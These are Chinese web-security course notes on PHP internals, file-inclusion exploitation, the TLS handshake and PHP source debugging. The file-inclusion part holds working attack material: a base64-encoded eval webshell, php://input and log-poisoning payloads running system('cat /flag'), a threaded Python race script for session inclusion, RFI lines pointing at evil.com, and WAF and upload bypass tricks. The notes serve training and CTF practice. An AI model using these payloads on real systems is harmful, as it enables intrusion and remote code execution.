本文整理自为期四天的网络安全实战课程,涵盖PHP底层原理、文件包含漏洞利用、HTTPS加密原理以及源码级调试技术。
摘要
本笔记系统讲解Web安全核心技术:
PHP底层机制: 剖析源码到Opcode编译流程,揭示顶层/非顶层函数注册差异,利用临时函数名机制\0function/path:line$0绕过调用限制。
文件包含漏洞: 详解php://filter,phar://等伪协议利用,重点包括"死亡exit"绕过(base64特性)、session.upload_progress条件竞争等高级技术。
HTTPS加密: 解析TLS握手流程、RSA密钥交换的前向保密缺陷、证书链验证机制及Burp中间人攻击原理。
调试技术: 提供Docker+pwndbg+GDB环境搭建方案,实现从汇编级到代码级的完整调试链。
就业导向: 强调调试能力、云安全(Docker/K8s)、AI辅助工具在当前行业的重要性,建议通过真实渗透、CNVD挖掘、CTF比赛积累经验。
课程概述与学习路径
网络安全学习的核心目标
就业导向:
- 真实渗透经历(0-1渗透、内网渗透)
- CNVD漏洞编号
- CTF比赛经验(强网杯、网鼎杯)
- 实习经历(最重要)
技术发展趋势:
- Web漏洞形态演变(SQL注入仍然存在,但需要协议层绕过)
- 云安全占比80%(Docker、K8s)
- AI辅助安全(MCP、Claude Code、Gemini CLI)
- 前端加密逆向能力
必备技能栈
调试技能(重中之重)
├── Python: PyCharm + 虚拟环境
├── Java: IDEA + JDK(1.8/17/21)
├── PHP: PHPStorm/VSCode + Xdebug
└── JavaScript: 浏览器DevTools
环境部署
├── Windows: PHPStudy
├── Linux: LNMP/LAMP
└── Docker: 隔离环境
PHP底层编译执行原理
1. PHP脚本执行的两大阶段
阶段一:编译(源码 → Opcode)
源代码 → 词法分析 → 语法分析 → 生成AST → 编译成Opcode → Pass Two
示例代码:
php
<?php
$a = 1;
$b = 1;
$c = $a + $b;
echo $c;
词法分析结果:
T_OPEN_TAG <?php
T_VARIABLE $a
= =
T_LNUMBER 1
; ;
...
生成的Opcode:
索引 操作码 操作数1 操作数2 结果
0 ASSIGN (常量)1 (变量)$a -
1 ASSIGN (常量)1 (变量)$b -
2 ADD (变量)$a (变量)$b 临时变量T1
3 ASSIGN (临时)T1 (变量)$c -
4 ECHO (变量)$c - -
5 RETURN (常量)1 - -
阶段二:执行(Opcode → 结果)
Zend虚拟机逐条执行每个Opcode对应的Handler函数:
c
void execute() {
zval *a, *b, *c, temp;
ZEND_ASSIGN_HANDLER(&a, 1); // $a = 1
ZEND_ASSIGN_HANDLER(&b, 1); // $b = 1
ZEND_ADD_HANDLER(&temp, a, b); // temp = 2
ZEND_ASSIGN_HANDLER(&c, &temp); // $c = 2
ZEND_ECHO_HANDLER(c); // 输出 2
return;
}
2. 函数编译的关键差异
顶层函数 vs 非顶层函数
顶层函数 (toplevel=true):
php
function test() {
echo "hello";
}
- 直接用函数名注册到全局函数表
- 无需生成
DECLARE_FUNCTIONopcode
非顶层函数 (toplevel=false):
php
if (condition) {
function inner() { // 嵌套在if语句中
echo "inner";
}
}
- 编译时生成临时函数名:
\0inner/path/to/file.php:3$0 - 运行时才将真实函数名注册到函数表
- 生成
DECLARE_FUNCTIONopcode
临时函数名生成规则(PHP 7.x):
'\0' + 函数名 + 文件路径 + ':' + 起始行号 + '$' + 计数器
实战案例:绕过函数调用限制
php
<?php
$password = trim($_REQUEST['password'] ?? '');
$name = trim($_REQUEST['name'] ?? 'viewsource');
if (strcmp(hash('sha256', $password), 'ca5727...') === 0) {
function readflag() { // 非顶层函数
echo 'flag{...}';
}
}
$name(); // 动态调用
绕过思路:
- 因为无法满足if条件,
readflag不会被正常注册 - 但编译时已生成临时函数名:
\0readflag/var/www/html/test.php:6$0 - 使用
\前缀绕过trim的\0过滤 - 最终payload:
name=\%00readflag/var/www/html/test.php:6$0
3. PHP 8.1+ 的变化
PHP 8.1删除了临时函数名机制(PR #5595),原因是内存泄露问题。但临时类名机制仍然存在,可作为新的利用点。
文件包含漏洞深度剖析
1. 基础知识
常见文件包含函数
php
include() // 警告后继续执行
require() // 致命错误,终止脚本
include_once() // 只包含一次
require_once() // 只包含一次
环境要求
ini
allow_url_fopen = On // 默认开启
allow_url_include = On // PHP 5.2+默认关闭
2. PHP伪协议利用
php://filter - 文件读取
基础用法:
php://filter/read=convert.base64-encode/resource=flag.php
绕过"死亡exit":
php
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
利用base64特性:
filename=php://filter/write=convert.base64-decode/resource=shell.php
txt=aPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= // <?php @eval($_POST['cmd']);?>前加a凑够8字节
原理:
- base64解码时会忽略非法字符:
<?php exit; ?>→phpexit(7个字符) - 添加一个
a凑够8字节,使其能被正常解码 - 后续的webshell正常解码并写入
使用strip_tags方法:
filename=php://filter/read=string.strip_tags|convert.base64-decode/resource=shell.php
php://input - POST数据执行
php
// 目标代码
include($_GET['file']);
// 利用方式
GET: ?file=php://input
POST: <?php system('cat /flag'); ?>
绕过文件内容检测:
php
if (file_get_contents($a, 'r') === 'I want flag') {
echo $flag;
}
// Payload
GET: ?a=php://input
POST: I want flag
phar:// - 压缩包利用
基本原理:
phar://archive.zip/shell.php
zip://archive.zip#shell.php (需URL编码#为%23)
关键特性:
- 不依赖文件扩展名,通过Magic Bytes识别格式
PK\x03\x04→ 识别为ZIP- 可以绕过上传限制(改名为.jpg)
完整利用链:
用户上传: shell.zip
重命名为: 1.jpg(绕过上传检测)
包含文件: phar://1.jpg/shell.php
↓
Phar Stream Wrapper解析
↓
检测文件头: PK\x03\x04 → 识别为ZIP
↓
解析ZIP结构 → 提取shell.php
↓
返回PHP源码 → Zend编译执行
源码级流程:
phar_wrapper_open_url()
→ phar_parse_url() // 分离archive和entry
→ phar_detect_phar_format() // 检测文件格式
→ phar_parse_zipfile() // 解析ZIP结构
→ phar_get_entry_data() // 获取文件内容
→ 返回php_stream
3. 包含日志文件
Apache日志路径:
/var/log/apache2/access.log
/var/log/apache2/error.log
利用步骤:
-
发送恶意请求写入日志:
GET /<?php system($_GET['cmd']); ?> HTTP/1.1 -
包含日志文件执行:
?file=/var/log/apache2/access.log&cmd=cat /flag
4. Session文件包含
Session路径:
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
利用session.upload_progress:
这是一个默认开启的特性(session.upload_progress.enabled = On),无需初始化Session!
关键配置:
ini
session.upload_progress.enabled = On
session.upload_progress.cleanup = On // 上传完成后自动清除
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
利用脚本:
python
import io
import requests
import threading
sessid = 'hacker'
def upload_progress():
while True:
f = io.BytesIO(b'a' * 1024 * 50)
requests.post(
'http://target.com/upload.php',
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat /flag");?>'},
files={'file': ('test.txt', f)},
cookies={'PHPSESSID': sessid}
)
def include_session():
while True:
r = requests.get(f'http://target.com/index.php?file=/tmp/sess_{sessid}')
if 'flag{' in r.text:
print(r.text)
break
with requests.session() as session:
t1 = threading.Thread(target=upload_progress)
t1.daemon = True
t1.start()
include_session()
原理:
- POST上传文件时,Session中会包含
upload_progress_xxx的值(用户可控) - 虽然上传完成后会被清除,但可以通过条件竞争在清除前包含
- 即使
session.auto_start=Off,上传时也会自动创建Session
5. 绕过技巧总结
指定前缀绕过
php
// 代码:include "/var/www/html/" . $_GET['file'];
// 目录遍历
?file=../../etc/passwd
// URL编码
?file=%2e%2e%2f%2e%2e%2fetc/passwd
// 二次编码
?file=%252e%252e%252f
指定后缀绕过
php
// 代码:include $_GET['file'] . ".php";
// URL查询参数(RFI)
?file=http://evil.com/shell.txt?
// URL Fragment
?file=http://evil.com/shell.txt%23
// phar协议
?file=phar://shell.zip/cmd
长度截断(PHP < 5.2.8)
?file=./././[重复256次]/./shell.txt
%00截断(PHP < 5.3.4 且 magic_quotes_gpc=Off)
?file=shell.txt%00
6. 防御措施
php
// 白名单限制
$allowed = ['index', 'about', 'contact'];
$page = $_GET['page'] ?? 'index';
if (!in_array($page, $allowed)) {
die('Invalid page');
}
include $page . '.php';
// open_basedir限制
// php.ini: open_basedir = /var/www/html
// 禁用危险协议
// php.ini: allow_url_include = Off
HTTPS加密与RSA密钥协商
1. TLS握手流程(RSA密钥交换)
客户端 服务端
│ │
│──────── Client Hello ─────────────────>│
│ - TLS版本: 1.2 │
│ - 随机数: Client Random │
│ - 支持的加密套件列表 │
│ │
│<────── Server Hello ────────────────── │
│ - 选择TLS版本: 1.2 │
│ - 随机数: Server Random │
│ - 选择加密套件: TLS_RSA_WITH_AES_128_GCM_SHA256
│ │
│<────── Server Certificate ──────────── │
│ - 数字证书(含RSA公钥) │
│ │
│<────── Server Hello Done ──────────── │
│ │
│──────── Client Key Exchange ──────────>│
│ - pre-master(用服务器公钥加密) │
│ │
│──────── Change Cipher Spec ───────────>│
│──────── Encrypted Handshake ──────────>│
│ │
│<────── Change Cipher Spec ─────────── │
│<────── Encrypted Handshake ─────────── │
│ │
│═══════ 加密通信开始 ═══════════════════│
2. 密钥生成过程
三个随机数:
- Client Random(客户端生成)
- Server Random(服务端生成)
- pre-master(客户端生成,用服务器公钥加密传输)
会话密钥生成:
Master Secret = PRF(pre-master, "master secret", Client Random + Server Random)
3. 数字证书验证
证书链结构:
根证书(Root CA)
↓ 签发
中间证书(Intermediate CA)
↓ 签发
服务器证书(baidu.com)
验证流程:
- 浏览器获取服务器证书
- 提取证书内容,计算Hash值(H1)
- 用CA公钥解密证书签名,得到Hash值(H2)
- 比较H1和H2:
- 相等 → 证书未被篡改
- 不等 → 证书不可信
CA公钥来源:
- 操作系统内置根证书列表
- 浏览器内置根证书列表
4. RSA算法的缺陷
前向保密问题:
- 如果服务器私钥泄露,过去所有被截获的加密流量都会被破解
- 原因:pre-master是用服务器公钥加密的
解决方案:DH/ECDHE密钥交换:
客户端生成临时私钥 → 计算临时公钥 → 发送给服务端
服务端生成临时私钥 → 计算临时公钥 → 发送给客户端
双方独立计算 → 得到相同的会话密钥
即使服务器私钥泄露,也无法计算出历史会话密钥
5. Burp Suite如何解密HTTPS
前提条件:
- 用户主动安装Burp的CA证书到信任列表
- Burp作为中间人,分别与客户端和服务器建立TLS连接
双向TLS连接:
客户端 <──TLS1──> Burp Suite <──TLS2──> 服务器
TLS1: 客户端信任Burp的证书(手动安装)
TLS2: Burp信任服务器的证书(正常验证)
Burp解密TLS1 → 查看明文 → 重新加密成TLS2
源码级调试环境搭建
1. Docker容器调试方案
启动容器:
bash
docker run -it --rm --name debug -p 8080:8080 -p 2222:22 tuwen/phpsrc-debug:8.1-backdoor
VSCode远程连接:
-
安装插件:
Remote - SSH、C/C++ -
保存容器提供的私钥到本地(如
D:\private.key) -
修改私钥权限(Windows):
- 右键 → 属性 → 安全 → 高级
- 禁用继承 → 删除所有权限
- 添加当前用户的完全控制权限
-
SSH连接:
bashssh -p 2222 -i D:\private.key root@192.168.x.x
2. pwndbg调试PHP底层
安装pwndbg:
bash
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
常用调试命令:
bash
# 启动调试
gdb /usr/local/php83/bin/php
# 设置断点
b zend_execute_scripts # 脚本执行入口
b zend_compile_file # 编译阶段
b ZEND_INCLUDE_OR_EVAL_SPEC_CONST_HANDLER # include处理
# 运行PHP脚本
run test.php
# 单步执行
ni # 汇编级单步(不进入函数)
si # 汇编级单步(进入函数)
# 查看内存
telescope $rsp 20 # 查看栈
x/10gx 0x7fff1234 # 查看指定地址
# 查看结构体成员
p *op_array # 打印op_array结构
p/x op_array->opcodes[0] # 打印第一个opcode
# 搜索字符串
search -t string "phar://"
实战案例:调试phar包含:
gdb
# 在phar协议处理函数下断点
b phar_wrapper_open_url
# 运行PHP脚本
run -r "include('phar://test.jpg/shell.php');"
# 单步跟踪
ni
telescope $rsp 10
# 查看phar_archive_data结构
p *(phar_archive_data*)0x...
p manifest # 查看文件清单
3. 源码编译PHP 8.3
安装依赖:
bash
sudo apt update
sudo apt install -y build-essential libssl-dev libcurl4-openssl-dev \
libxml2-dev libzip-dev libpng-dev libjpeg-dev libonig-dev \
libsqlite3-dev libreadline-dev
编译配置:
bash
wget https://github.com/php/php-src/archive/refs/tags/php-8.3.23.zip
unzip php-8.3.23.zip
cd php-src-php-8.3.23
./buildconf --force
./configure \
--prefix=/usr/local/php83 \
--with-config-file-path=/usr/local/php83/etc \
--enable-fpm \
--enable-debug \
--enable-mbstring \
--with-curl \
--with-openssl \
--with-zip \
--enable-phar \
--enable-cli
make -j$(nproc)
sudo make install
配置Nginx + PHP-FPM:
nginx
# /etc/nginx/sites-available/default
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass 127.0.0.1:9000; # PHP-FPM监听端口
}
bash
# 启动PHP-FPM
sudo /usr/local/php83/sbin/php-fpm
# 重启Nginx
sudo systemctl restart nginx
实战技巧与工具
1. Xdebug配置(代码级调试)
php.ini配置:
ini
[Xdebug]
zend_extension=D:/phpstudy_pro/Extensions/php/php7.3.4nts/ext/php_xdebug.dll
xdebug.mode = debug
xdebug.start_with_request = yes
xdebug.client_host = 127.0.0.1
xdebug.client_port = 9003
VSCode配置(launch.json):
json
{
"name": "Listen for Xdebug",
"type": "php",
"request": "launch",
"port": 9003,
"pathMappings": {
"/var/www/html": "${workspaceFolder}"
}
}
2. AI辅助安全研究
推荐工具:
- Claude Code:代码分析与漏洞挖掘
- Gemini 3 Pro:动态视图理解(Veo 3.1图像生成)
- ChatGPT Code Interpreter:数据分析
- Qwen-3-VL:多模态分析(图片+代码)
典型使用场景:
我想分析这段PHP源码的安全问题:
[粘贴代码]
请帮我:
1. 找出潜在的漏洞点
2. 生成PoC利用脚本
3. 给出修复建议
3. 信息收集工具
浏览器插件:
- FOFA Chrome插件:快速资产发现
- Wappalyzer:技术栈识别
- HackBar:快速构造Payload
命令行工具:
bash
# Nmap端口扫描
nmap -sV -p- target.com
# SQLMap SQL注入
sqlmap -u "http://target.com?id=1" --batch
# Nuclei漏洞扫描
nuclei -u https://target.com -t exposures/
4. WAF绕过技巧
SQL注入绕过:
sql
-- 大小写混淆
SeLeCt * FrOm users
-- 注释插入
SELECT/**/password/**/FROM/**/users
-- 编码绕过
%53%45%4C%45%43%54 (SELECT的URL编码)
-- 协议层绕过(MySQL Connector/J)
使用预编译+参数篡改绕过WAF检测
文件上传绕过:
# 双重后缀
shell.php.jpg
# 00截断(老版本PHP)
shell.php%00.jpg
# .htaccess解析
.htaccess内容:
AddType application/x-httpd-php .jpg
# 大小写绕过
shell.PhP
总结
核心要点回顾
-
PHP底层理解:
- 编译阶段:源码 → AST → Opcode
- 执行阶段:Zend VM逐条执行Handler
- 函数注册机制:toplevel决定函数名生成方式
-
文件包含利用链:
- 伪协议:php://filter、php://input、phar://、zip://
- 日志/Session包含 + 条件竞争
- phar协议不依赖扩展名,通过Magic Bytes识别
-
HTTPS安全:
- RSA密钥交换存在前向保密问题
- 证书链验证确保服务器身份
- Burp解密需用户主动信任CA证书
-
调试技能:
- 代码级:Xdebug + VSCode/PHPStorm
- 汇编级:pwndbg/GDB + 源码编译PHP
- 容器化:Docker隔离环境